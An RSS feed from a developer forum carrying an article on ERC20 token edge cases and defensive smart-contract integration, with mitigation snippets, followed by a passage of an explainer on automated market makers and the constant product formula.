<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
<channel>
<title>Coder Legion - Recent posts tagged smartcontract</title>
<link>https://coderlegion.com/tag/smartcontract</link>
<description>Powered by Question2Answer</description>
<item>
<title>ERC20 Edge Cases Every Smart Contract Engineer Should Know</title>
<link>https://coderlegion.com/21142/erc20-edge-cases-every-smart-contract-engineer-should-know</link>
<description>&lt;p&gt;Your protocol launches. Everything passes the test suite with 100% coverage. Your audits are clean.&lt;/p&gt;
&lt;p&gt;Then, an unexpected token enters your liquidity pool. The accounting drifts by a fraction of a percent. Within hours, the discrepancy compounds. Users attempt to withdraw, and the transactions revert. The vault is permanently bricked, and funds are stuck.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What went wrong?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Most ERC20 exploits are not actually bugs in the protocol's core logic. They happen because protocol engineers assume every token behaves exactly like a vanilla OpenZeppelin implementation.&lt;/p&gt;
&lt;p&gt;The ERC20 standard is an interface, not a guarantee. It defines function signatures (&lt;code&gt;transfer&lt;/code&gt;, &lt;code&gt;approve&lt;/code&gt;, &lt;code&gt;balanceOf&lt;/code&gt;), but it dictates absolutely nothing about the internal execution logic behind those signatures.&lt;/p&gt;
&lt;p&gt;If your protocol integrates arbitrary tokens, your threat model immediately includes the behavior of those tokens. A single flawed assumption about how a token transfers, reverts, or accounts for balances can lead to systemic insolvency.&lt;/p&gt;
&lt;p&gt;Let's look under the hood of the most common ERC20 edge cases that break production systems, and how to engineer defensive architectures to mitigate them.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Four Assumptions That Break Integrations&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Before we look at specific edge cases, it helps to build a mental model of why these failures happen. Almost every ERC20 integration bug stems from one of four flawed assumptions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Amount Assumptions:&lt;/strong&gt; Believing the amount you request to transfer is the exact amount that will arrive.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Execution Assumptions:&lt;/strong&gt; Assuming token transfers are passive state updates, rather than active execution environments.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Permission Assumptions:&lt;/strong&gt; Believing that having a sufficient balance and allowance guarantees a transfer will succeed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Accounting Assumptions:&lt;/strong&gt; Hardcoding precision logic or assuming token behavior is immutable.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Let's break down how these assumptions fail in production.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/a095bnmoo1zl2a528wuq.png&quot; alt=&quot;A clean, technical 3D isometric diagram of a glowing smart contract &amp;quot;Vault&amp;quot;. Four distinct data streams are feeding into it, labeled 'Amounts', 'Execution', 'Permissions', and 'Accounting'. One of the streams is glowing red, causing a subtle fracture in the vault. Color palette must strictly feature Royal Purple and Soft Gold. Premium, technical, reliable vibe.&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edge Case #1: Fee-on-Transfer &amp;amp; Rebasing Tokens&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The assumption&lt;/strong&gt;&lt;br&gt;
If I call &lt;code&gt;token.transferFrom(alice, vault, 100)&lt;/code&gt;, the vault's balance increases by exactly 100.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What actually happens&lt;/strong&gt;&lt;br&gt;
Tokens can deduct a tax on transfer (e.g., a 5% protocol fee) or continuously alter user balances algorithmically (rebasing).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example failure&lt;/strong&gt;&lt;br&gt;
A user deposits 100 fee-on-transfer tokens. The token takes a 5% fee.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;User calls deposit(100)
👇
Token executes transfer, deducts 5% tax
👇
Vault receives 95 tokens

❌ Vault internally mints 100 shares based on 'amount' parameter
✅ Vault should mint 95 shares based on actual received funds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Because the vault blindly minted 100 shares, the user can immediately withdraw 100 tokens, successfully stealing 5 tokens from previous depositors. The accounting drifts, and the last users to withdraw will be left with nothing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;&lt;br&gt;
Never trust the &lt;code&gt;amount&lt;/code&gt; parameter for internal accounting. Always measure the actual balance delta before and after the transfer.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;uint256 balanceBefore = token.balanceOf(address(this));
token.safeTransferFrom(msg.sender, address(this), amount);
uint256 balanceReceived = token.balanceOf(address(this)) - balanceBefore;

// Use balanceReceived for all subsequent logic, never 'amount'
_mintShares(msg.sender, balanceReceived);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Balance-delta accounting fixes this assumption. Unfortunately, the next edge case breaks protocols even when the balances match perfectly.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edge Case #2: Tokens with Callbacks (ERC-777 &amp;amp; Transfer Hooks)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The assumption&lt;/strong&gt;&lt;br&gt;
Calling transfer only updates storage balances and returns execution flow directly back to my contract.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What actually happens&lt;/strong&gt;&lt;br&gt;
Standards like ERC-777, or custom tokens with transfer hooks, actively hand execution control back to the sender or receiver via external calls during the transfer process.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example failure&lt;/strong&gt;&lt;br&gt;
Your protocol updates the user's internal debt balance after pushing tokens to them.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;User calls withdraw()
👇
Protocol calls token.transfer(user)
👇
Token calls back to User's smart contract
👇
User's contract calls withdraw() AGAIN (before protocol debt is updated)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a classic reentrancy attack, facilitated entirely by the token's internal hook.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why This Surprises Engineers:&lt;/strong&gt; We naturally view tokens as passive data ledgers. Callbacks turn tokens into active, hostile execution environments.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;&lt;br&gt;
Follow the Checks-Effects-Interactions (CEI) pattern religiously. Update all internal state before interacting with external tokens. Additionally, apply OpenZeppelin's &lt;code&gt;ReentrancyGuard&lt;/code&gt; (&lt;code&gt;nonReentrant&lt;/code&gt; modifier) to any function interacting with external tokens.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Reentrancy guards handle unexpected execution paths. But what happens when a token quietly fails without telling you?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edge Case #3: Returning &lt;code&gt;false&lt;/code&gt; vs. Reverting&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The assumption&lt;/strong&gt;&lt;br&gt;
If a token transfer fails, the transaction will revert.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What actually happens&lt;/strong&gt;&lt;br&gt;
Some older tokens (like ZRX) do not revert on failure. Instead, they gracefully return a false boolean.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example failure&lt;/strong&gt;&lt;br&gt;
Your protocol calls &lt;code&gt;token.transfer(user, amount) &lt;/code&gt;and doesn't check the return value. The transfer fails (returns &lt;code&gt;false&lt;/code&gt;), but your code continues executing. The protocol marks the user's debt as paid, even though no tokens actually moved.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;&lt;br&gt;
Never use bare &lt;code&gt;transfer&lt;/code&gt; or &lt;code&gt;transferFrom&lt;/code&gt; calls. Wrap them in logic that asserts the boolean return value is &lt;code&gt;true&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;OpenZeppelin / best practice&lt;/strong&gt;&lt;br&gt;
Always use OpenZeppelin's &lt;code&gt;SafeERC20&lt;/code&gt; library (&lt;code&gt;safeTransfer&lt;/code&gt;, &lt;code&gt;safeTransferFrom&lt;/code&gt;). It normalizes behavior by forcing a silent &lt;code&gt;false&lt;/code&gt; failure to revert.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; SafeERC20 forces silent failures to revert. But occasionally, you actually want certain transfers to bypass reverts.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edge Case #4: Zero Address &amp;amp; Zero Amount Reverts&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The assumption&lt;/strong&gt;&lt;br&gt;
Transferring an amount of &lt;code&gt;0&lt;/code&gt; is a harmless No-Op (no operation) that costs a little gas but executes successfully.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What actually happens&lt;/strong&gt;&lt;br&gt;
Different token implementations handle zeros differently. Some explicitly revert if the transferred amount is &lt;code&gt;0&lt;/code&gt;, or if the target is the zero address.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Imagine this scenario:&lt;/strong&gt;&lt;br&gt;
Your protocol distributes daily yields in a batch loop to 100 users. One user earned &lt;code&gt;0&lt;/code&gt; yield today. The loop attempts to &lt;code&gt;transfer(user, 0)&lt;/code&gt;. The token reverts, crashing the entire transaction and preventing the other 99 users from receiving their yields.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;&lt;br&gt;
Standardize behavior by wrapping transfers in a simple defensive check to bypass zero-amount logic.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;if (amount &amp;gt; 0) {
    token.safeTransfer(user, amount);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Standardizing behavior protects your loops. But what if the token completely breaks the standard interface?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edge Case #5: Missing Return Values (The USDT Problem)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The assumption&lt;/strong&gt;&lt;br&gt;
All ERC20 tokens return a boolean, as dictated by the standard interface.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Production Reality:&lt;/strong&gt; Tether (USDT) on Ethereum Mainnet is non-standard. Its &lt;code&gt;transfer&lt;/code&gt;, &lt;code&gt;transferFrom&lt;/code&gt;, and approve functions do not return a boolean; they return &lt;code&gt;void&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example failure&lt;/strong&gt;&lt;br&gt;
If your contract compiles against the standard &lt;code&gt;IERC20&lt;/code&gt; interface, the EVM expects boolean return data to decode.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;Standard: function transfer(...) returns (bool)
USDT:     function transfer(...) [returns void]
EVM:      &quot;Wait, where is the boolean to decode? Revert.&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Your protocol completely fails to integrate with the largest stablecoin on the market.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;&lt;br&gt;
OpenZeppelin's &lt;code&gt;SafeERC20&lt;/code&gt; handles this under the hood. By using &lt;code&gt;safeTransfer&lt;/code&gt;, you safely abstract away the missing return value issue at the assembly level.&lt;/p&gt;
&lt;p&gt;Takeaway: SafeERC20 handles legacy interfaces. But interface compatibility won't save you from centralized control.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edge Case #6: Blacklisted Addresses&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The assumption&lt;/strong&gt;&lt;br&gt;
If an address has a sufficient balance and allowance, a transfer will always succeed.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What actually happens&lt;/strong&gt;&lt;br&gt;
Fiat-backed stablecoins like USDC and USDT maintain centralized blacklists. If an address is blacklisted, all transfers involving that address will revert.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example failure&lt;/strong&gt;&lt;br&gt;
Your protocol liquidates undercollateralized debt. To close a position, it must send leftover USDC collateral to the user. The user gets blacklisted by Circle. The liquidation transaction reverts when attempting to send the leftover funds, preventing the protocol from clearing bad debt. The systemic risk cascades, threatening protocol solvency.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Design Rule: Pull-over-Push&lt;/strong&gt;&lt;br&gt;
Decouple protocol logic from token transfers. Instead of pushing funds to a user during a critical state change, record their balance internally and force them to pull (claim) it in a separate transaction.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Decoupling logic prevents centralized blacklists from freezing your protocol. Speaking of centralized quirks, let's look at approvals.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edge Case #7: Non-Zero Approval Restrictions&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The assumption&lt;/strong&gt;&lt;br&gt;
You can update an allowance from any number to any other number using &lt;code&gt;approve(spender, newAmount)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What actually happens&lt;/strong&gt;&lt;br&gt;
To prevent approval front-running (where an attacker exploits an old allowance while a new one is pending), tokens like USDT require that allowances be reset to &lt;code&gt;0&lt;/code&gt; before being updated to a new non-zero value.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example failure&lt;/strong&gt;&lt;br&gt;
A router contract tries to update its USDT approval to a DEX from 50 to 100. It calls &lt;code&gt;approve(dex, 100)&lt;/code&gt;. Because the current allowance is &lt;code&gt;50&lt;/code&gt; (non-zero), USDT reverts the transaction.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;&lt;br&gt;
You must approve &lt;code&gt;0&lt;/code&gt; before approving the target amount. In OpenZeppelin v5+, &lt;code&gt;safeApprove&lt;/code&gt; was removed. Use &lt;code&gt;forceApprove()&lt;/code&gt;, which natively handles the &lt;code&gt;0&lt;/code&gt; reset under the hood.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Approval races are tricky, but at least the token is always the token... right?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edge Case #8: Multiple Addresses for the Same Token&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mental Model:&lt;/strong&gt; Think of an ERC20 token as a ledger. Usually, there is one door to access that ledger. But sometimes, developers build multiple doors (proxies, wrappers, aliases) that lead to the exact same ledger.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What actually happens&lt;/strong&gt;&lt;br&gt;
Some tokens (like older TrueUSD implementations) use multiple entry point addresses that point to the same underlying state.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example failure&lt;/strong&gt;&lt;br&gt;
A lending protocol relies on the token's contract address as a unique identifier for price feeds. An attacker uses a wrapper contract that proxies to the same underlying token. The protocol reads the proxy as an unverified token, misprices the collateral, and allows the attacker to borrow against manipulated values.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;&lt;br&gt;
Identify tokens strictly by exact, whitelisted addresses. Never rely blindly on &lt;code&gt;msg.sender&lt;/code&gt; to dynamically determine asset identity.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Identity is fluid. And worse, token logic is mutable.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edge Case #9: Upgradeable Tokens&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The assumption&lt;/strong&gt;&lt;br&gt;
The token behavior I test today will be the token behavior in production tomorrow.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What actually happens&lt;/strong&gt;&lt;br&gt;
Tokens like USDC are upgradeable behind a proxy. The controlling entity can push an upgrade at any time, adding transfer fees, callbacks, or entirely new operational restrictions.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/2c5d1gs3dt12ni4ocdl6.png&quot; alt=&quot;USDC are upgradeable behind a proxy.&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example failure&lt;/strong&gt;&lt;br&gt;
You build a protocol assuming USDC has no fee-on-transfer. Circle upgrades USDC to enforce a 1 basis point transaction fee. Your static accounting breaks, and protocol funds become permanently locked because the math no longer balances.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;&lt;br&gt;
Code defensively. Use balance-delta accounting (Edge Case #1) even if the token currently doesn't require it. Build pause functionality into your own protocol so you can halt operations if an upgrade breaks your integration.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; You can't control token upgrades, but you can control how you calculate value. Which brings us to spot balances.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edge Case #10: Flash-Mintable Tokens&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The assumption&lt;/strong&gt;&lt;br&gt;
Massive token balances represent real, scarce capital.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What actually happens&lt;/strong&gt;&lt;br&gt;
Some tokens, like DAI, natively support flash-minting. A user can instantly mint millions of tokens in a single transaction, provided they are burned (with a fee) by the end of execution.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example failure&lt;/strong&gt;&lt;br&gt;
Your protocol calculates governance voting power based on spot balances within a liquidity pool. An attacker flash-mints 100 million DAI, executes a massive governance manipulation, and repays the DAI in the same block.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;&lt;br&gt;
Never rely on spot balances for price discovery or voting power. Use Time-Weighted Average Price (TWAP) oracles and historical checkpoints.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Spot balances lie. And sometimes, tokens lie about how much they transferred, too.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edge Case #11: Transferring Less Than Requested&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The assumption&lt;/strong&gt;&lt;br&gt;
If I request to transfer &lt;code&gt;type(uint256).max&lt;/code&gt;, the token will either transfer that exact enormous amount or revert.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What actually happens&lt;/strong&gt;&lt;br&gt;
Some obscure tokens treat an amount parameter of &lt;code&gt;type(uint256).max&lt;/code&gt; as a custom flag meaning &quot;transfer all of the user's available balance.&quot;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example failure&lt;/strong&gt;&lt;br&gt;
A protocol requests a &lt;code&gt;uint256.max&lt;/code&gt; sweep. The token successfully transfers the user's actual balance of 50 tokens. The protocol incorrectly records that &lt;code&gt;type(uint256).max&lt;/code&gt; tokens were received, creating massive artificial inflation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;&lt;br&gt;
Once again, balance-delta accounting saves the day. Never assume the requested amount is the executed amount.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edge Case #12: High-Decimal Tokens&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The assumption&lt;/strong&gt;&lt;br&gt;
Tokens either have 18 decimals (like ETH) or 6 decimals (like USDC).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What actually happens&lt;/strong&gt;&lt;br&gt;
Tokens like YAMv2 use 24 decimals.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/dj3orm3oypxru2efl4av.png&quot; alt=&quot;Tokens like YAMv2 use 24 decimals.&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example failure&lt;/strong&gt;&lt;br&gt;
Your protocol multiplies a token balance by a high-precision constant before dividing it. Because the token already has 24 decimals, the multiplication exceeds &lt;code&gt;type(uint256).max&lt;/code&gt; and triggers an unexpected math overflow, bricking the transaction.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;&lt;br&gt;
Always dynamically read the &lt;code&gt;decimals()&lt;/code&gt; function and normalize balances to a standard precision internally before performing complex math.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bonus Edge Cases&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edge Case #13. Pausable Tokens:&lt;/strong&gt;&lt;br&gt;
Tokens can be globally paused by their admins. Ensure your system degrades gracefully and uses Pull-over-Push accounting so a globally paused token doesn't brick your entire transaction loop.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edge Case #14. Large Approval/Transfer Reverts:&lt;/strong&gt;&lt;br&gt;
Tokens like UNI and COMP use &lt;code&gt;uint96&lt;/code&gt; for their internal accounting limits. Attempting to approve or transfer &lt;code&gt;uint256.max&lt;/code&gt; will unexpectedly revert. Always approve exact required amounts.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Defensive ERC20 Integration Checklist&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Before deploying any contract that touches external ERC20 tokens, verify your architecture against these rules:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Are you using SafeERC20?&lt;/strong&gt; Never use bare &lt;code&gt;.transfer()&lt;/code&gt; or &lt;code&gt;.transferFrom()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Are you measuring balance deltas?&lt;/strong&gt; Never assume &lt;code&gt;amount sent == amount received&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Are you safe from reentrancy?&lt;/strong&gt; Assume every token transfer is an external callback.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Are you using Pull-over-Push?&lt;/strong&gt; Ensure a failing transfer only affects the specific user, not the broader system loop.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Have you normalized decimals?&lt;/strong&gt; Do not assume 6 or 18 decimals.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Do you rely on spot balances?&lt;/strong&gt; Ensure oracles and voting mechanisms cannot be manipulated via flash-mints.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Closing Thoughts&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Smart contract engineering is deeply unforgiving because you are not just building software; you are building immutable financial infrastructure.&lt;/p&gt;
&lt;p&gt;When you integrate an external token, you do not just integrate an asset. You inherit its execution models, its upgrade paths, its governance assumptions, and its operational constraints. If the token's logic changes, or if it behaves in a way you didn't model for, your protocol pays the price.&lt;/p&gt;
&lt;p&gt;Treat every external token as fundamentally hostile. Rely on pure math, stateful invariants, and defensive accounting.&lt;/p&gt;
&lt;p&gt;Reliable systems emerge from reducing assumptions. Let's build something we can trust.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;What edge cases have caused problems in your own deployments? Let's chat about it in the comments below. Follow for more deep dives into smart contract architecture and onchain security.&lt;/em&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/21142/erc20-edge-cases-every-smart-contract-engineer-should-know</guid>
<pubDate>Wed, 24 Jun 2026 06:50:00 +0000</pubDate>
</item>
<item>
<title>How AMMs Work: The Simple Math Behind Decentralized Trading</title>
<link>https://coderlegion.com/21139/how-amms-work-the-simple-math-behind-decentralized-trading</link>
<description>&lt;p&gt;One of the hardest problems in decentralized systems is this: how do two strangers trade without trusting each other or paying a middleman to coordinate?&lt;/p&gt;
&lt;p&gt;In traditional finance, this is solved by centralized exchanges. On the blockchain, we solve it with an &lt;strong&gt;Automated Market Maker (AMM).&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If you spend any time looking at decentralized finance (DeFi), you have probably seen the acronym floating around. Today, we are going to look under the hood to see exactly what an &lt;strong&gt;AMM&lt;/strong&gt; is, why the Ethereum ecosystem desperately needed it, and how it translates market rules into unstoppable code.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Constraint: Why Order Books Fail Onchain&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Before we can appreciate the solution, we have to understand the architectural constraint.&lt;/p&gt;
&lt;p&gt;In traditional finance (like the stock market or centralized crypto exchanges like Binance or Coinbase), trading runs on an &lt;strong&gt;Order Book.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;An order book is a giant digital matchmaking list. If I want to buy 1 ETH for $2,000, I write my name on the list. The exchange then searches for someone willing to sell 1 ETH for exactly $2,000. When it finds a match, the trade executes.&lt;/p&gt;
&lt;p&gt;This works flawlessly on centralized servers. But on a blockchain, order books have a fatal flaw: &lt;strong&gt;Cost.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Every single time you place, cancel, or match an order, it requires a state change on the network. State changes cost &quot;gas&quot; (transaction fees). If you had to pay a $20 gas fee just to list your trade on a decentralized order book whether someone buys it or not, the system would instantly become too slow and prohibitively expensive to use.&lt;/p&gt;
&lt;p&gt;We needed a way to trade assets without a matchmaking middleman. We needed to replace human coordination with reliable computation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Analogy: The Potato &amp;amp; Apple Farmers&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;To understand how an AMM solves this coordination problem, let's use a simple system model.&lt;/p&gt;
&lt;p&gt;Imagine you are a potato farmer. You have hundreds of potatoes. Eventually, you get sick of them and just want a crisp, sweet, red apple.&lt;/p&gt;
&lt;p&gt;There are no grocery stores. To get an apple, you have to find an apple farmer who is tired of apples and wants potatoes, and trade with them directly. This is the exact equivalent of an &lt;strong&gt;Order Book&lt;/strong&gt;-finding a direct match. It is exhausting.&lt;/p&gt;
&lt;p&gt;Now, imagine an automated bin appears in the middle of your village.&lt;/p&gt;
&lt;p&gt;A wealthy merchant came by and filled this bin with 100 apples and 100 potatoes. The bin has no human cashier. Instead, it is run by a simple mathematical formula. The formula's only rule is to balance the supply.&lt;/p&gt;
&lt;p&gt;When you walk up to the bin and take out 20 apples, apples suddenly become scarcer. Because there are fewer apples left in the bin, the formula automatically raises the price of apples. To take those 20 apples, the bin demands you put in 25 potatoes.&lt;/p&gt;
&lt;p&gt;Next time someone wants an apple, it will cost even more potatoes, because apples are getting rarer. But if an apple farmer comes along and dumps 50 apples into the bin to take out some potatoes, the price of apples drops back down.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;That bin isn't intelligent. It doesn't predict markets. It simply enforces rules.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This automated, math-driven bin is the exact conceptual framework of an Automated Market Maker.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/oocelus8tck6s45y75qv.png&quot; alt=&quot;A high-quality, modern, 3D abstract illustration. On the left, a rustic wooden basket containing glowing, stylized 3D potatoes and apples. On the right, this seamlessly morphs into a glowing, futuristic computer server running clean smart contract code. The color palette must strictly feature Royal Purple (#6B3FA0) and Soft Gold (#D6AF36) to match the BinnaDev visual identity. The vibe is premium, technical, and reliable.&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Mechanism: The Constant Product Formula&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In decentralized systems, that automated bin is called a &lt;strong&gt;Liquidity Pool.&lt;/strong&gt; It is simply a smart contract holding a pool of two different tokens (like ETH and USDC).&lt;/p&gt;
&lt;p&gt;Instead of waiting for an order book to match your trade, you trade &lt;em&gt;directly against the smart contract.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;But how does the contract know what price to charge you? It uses an algorithmic invariant. The most common one is the &lt;strong&gt;Constant Product Formula&lt;/strong&gt;, which looks like this:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;x * y = k&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This math is beautifully simple and completely deterministic:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;x&lt;/code&gt; is the amount of Token A (e.g., Apples).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;y&lt;/code&gt; is the amount of Token B (e.g., Potatoes).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;k&lt;/code&gt; is a constant number that must always stay exactly the same after a trade.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let's use our 100 apples and 100 potatoes example.&lt;br&gt;
&lt;code&gt;100 (apples) * 100 (potatoes) = 10,000 (our constant 'k')&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;If you take 20 apples out of the pool, there are only 80 apples left. But the smart contract strictly enforces that the total multiplied together must still equal 10,000.&lt;/p&gt;
&lt;p&gt;So, the contract calculates the new required state: &lt;code&gt;10,000 / 80 apples = 125 potatoes.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;For the pool to satisfy the invariant, it must now contain 125 potatoes. Since it originally had 100, you have to deposit 25 potatoes (the difference between 125 and 100) to execute your trade.&lt;/p&gt;
&lt;p&gt;That is it. Supply and demand, governed purely by unbreakable math. As one asset is bought out of the pool, it mathematically becomes more expensive. As an asset is sold into the pool, it becomes cheaper.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Infrastructure: Liquidity Providers&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This raises an engineering question: Where do the millions of dollars worth of tokens sitting in these smart contracts come from?&lt;/p&gt;
&lt;p&gt;They come from &lt;strong&gt;Liquidity Providers (LPs).&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;LPs are everyday users, investors, or protocols who lock their own tokens inside the smart contract to fund the pool. In exchange for supplying this infrastructure, they receive an &lt;strong&gt;LP Token:&lt;/strong&gt; a digital receipt proving they own a percentage of that specific pool.&lt;/p&gt;
